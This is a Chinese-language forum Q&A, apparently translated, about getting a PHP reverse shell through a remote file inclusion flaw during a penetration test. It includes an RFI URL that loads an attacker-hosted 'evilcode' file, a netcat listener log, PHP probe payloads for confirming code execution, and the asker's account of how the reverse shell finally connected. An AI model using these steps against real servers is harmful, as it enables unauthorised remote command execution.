在一次渗透测试中，我发现了一个 RFI，端点看起来像：
https://xxx.com/file.php?page={localhost/evilcode.txt}
端口 80 未打开。22,443 只是开放的端口
现在，我正在使用php 反向 shell连接回我的端口 80，我的 netcat 侦听器在此运行。
当我访问上面的 URL（带有有效负载）时，我得到：
listening on [any] 80 ...
connect to [localhost] from (UNKNOWN) [$target_machine] 48731
GET /evilcode.php.txt HTTP/1.0
Host: $localhost
会话建立了一段时间，但我无法执行任何命令。知道我做错了什么吗？
使用不需要输出的命令开始发送一个简单的 PHP 文件，但允许您确定它是否已被执行。
只需运行两次 RFI 并从 netcat 发送：
<?php /* do nothing */ ?>
和
<?php sleep(10); ?>
如果第二个命令让网站返回页面的时间比第一次尝试的时间长 10 秒，那么您的 RFI可能正在工作。它所能做的一切还有待观察。
如果两个命令同时返回，没有额外的十秒停顿，那么你发送的 PHP 代码显然没有被执行，所以发送反向 shell 没有什么意义。
接下来的步骤涉及发送尝试在目标页面上显示自己的内容。
ob_end_clean();
print "OK";
die();
可以工作。另外，尝试确定您正在检查的系统（例如：Ubuntu 12.04-LTS）。这将告诉您要注意什么，例如 AppArmor 或 SELinux 或特殊权限。例如，尝试获得 aphpinfo()会很好，以确定某些功能是否已被禁用。
你从那个向上工作到一个完整的反向外壳。在此过程中，您可能会发现反向 shell 无法正常工作的原因，并且凭借一些经验，您应该能够让它再次工作、部署其他东西，或者得出没有实际漏洞的结论。
一个值得考虑的可能性是使用 RFI 创建更易于利用的第二个 RFI，前提是第一个受攻击的脚本仍然能够将文件写入磁盘的可访问（和可利用）位置。
请注意，您包含了“evilcode.txt”并且脚本请求了“evilcode.php.txt”。这不是一个简单的附加（它本来是'evilcode.txt.php'）。
似乎正在发生的事情是该页面获取文件的基本名称，然后添加“.php.txt”，这似乎表明一些工作计划。不是.php，也不是.txt——是.php.txt，好像作者想将其标记为PHP，但同时又不是PHP。
我可能在一个简单的扩展中阅读太多。但也有可能 RFI 虽然是远程文件包含，但不会立即执行代码，但实际上会执行以下操作：
// Load page from URL request
$code = file_get_contents($_GET['page']);
if (0 !== strpos($code, '<?php//SQUEAMISH OSSIFRAGE')) {
// This is not our code! DANGER WILL ROBINSON!
mailAdministratorAndRecordBreakinAttempt();
} else {
// The code contains the secret word. It's legit.
$result = eval($code);
}
以上似乎是一个可利用的 RFI，但除非你碰巧知道这个秘密词，否则它根本行不通。另一方面，您可能可以通过阅读其中一个远程页面来获取它，因为您知道它们的真实本地名称是如何获得的。
这是希望这些页面没有被 IP 阻止，并且从其他任何地方请求它们，但服务器地址不会导致触发警报。
所以，问题是：我正在运行apache我localhost的漏洞利用程序并试图反向连接到我自己。（我在炮轰自己一次后才意识到这一点。）
之后，我在另一台机器上托管了一个单行反向 shell（感谢@Michael 的评论），并在目标机器上生成了一个 shell。
我以前做过，但是在反向 shell 脚本中插入了一个暂停，然后回到我的主机并立即杀死了 apache2。它允许远程机器抓取 evil.php 等文件，然后给我 3 或 5 秒或任意秒来杀死端口 80 上的 apache2。